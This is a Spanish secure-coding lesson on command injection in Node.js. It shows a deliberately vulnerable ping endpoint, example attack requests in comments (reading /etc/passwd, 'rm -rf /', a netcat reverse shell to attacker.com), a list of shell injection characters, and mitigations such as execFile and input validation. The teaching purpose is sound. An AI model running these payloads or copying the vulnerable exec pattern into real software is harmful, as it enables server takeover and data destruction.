Intermedio
CVSS 9.8 - Crítico
20 min
Command Injection
Ejecución de comandos del sistema operativo a través de input del usuario
¿Qué es Command Injection?
Ocurre cuando una aplicación ejecuta comandos del sistema usando input del usuario sin validación, permitiendo al atacante ejecutar comandos arbitrarios en el servidor.
Ejemplo Vulnerable
// Node.js - VULNERABLE
const { exec } = require('child_process');
app.get('/ping', (req, res) => {
const ip = req.query.ip;
// ❌ PELIGROSO: concatenar input del usuario
exec(`ping -c 4 ${ip}`, (error, stdout) => {
res.send(stdout);
});
});
// Ataque:
// GET /ping?ip=8.8.8.8; cat /etc/passwd
// GET /ping?ip=8.8.8.8 && rm -rf /
// GET /ping?ip=8.8.8.8 | nc attacker.com 4444 -e /bin/bashCaracteres de Inyección
; cmd # Ejecutar cmd después | cmd # Pipe output a cmd || cmd # OR lógico (ejecuta si falla el primero) & cmd # Ejecutar en background && cmd # AND lógico `cmd` # Command substitution $(cmd) # Command substitution > file # Redirigir output < file # Redirigir input %0a cmd # Newline (URL encoded)
Mitigación
1. NO usar exec/system
// ✅ Usar librerías específicas en lugar de comandos shell
// Mal: exec('ping ' + ip)
// Bien: usar librería de ping
const ping = require('ping');
const result = await ping.promise.probe(ip, { timeout: 10 });
// Para operaciones de archivos, usar APIs de Node
const fs = require('fs/promises');
await fs.readFile(filename); // NO usar cat filename2. Validación Estricta
// Si DEBES usar exec, validar input
const ipRegex = /^(\d{1,3}\.){3}\d{1,3}$/;
if (!ipRegex.test(ip)) {
return res.status(400).json({ error: 'Invalid IP' });
}
// Whitelist de valores permitidos
const allowedCommands = ['start', 'stop', 'status'];
if (!allowedCommands.includes(command)) {
return res.status(400).json({ error: 'Invalid command' });
}3. Usar execFile con argumentos
const { execFile } = require('child_process');
// ✅ execFile NO invoca shell, pasa argumentos directamente
execFile('ping', ['-c', '4', ip], (error, stdout) => {
if (error) {
return res.status(500).json({ error: 'Ping failed' });
}
res.send(stdout);
});
// Los caracteres especiales se tratan como literales, no comandos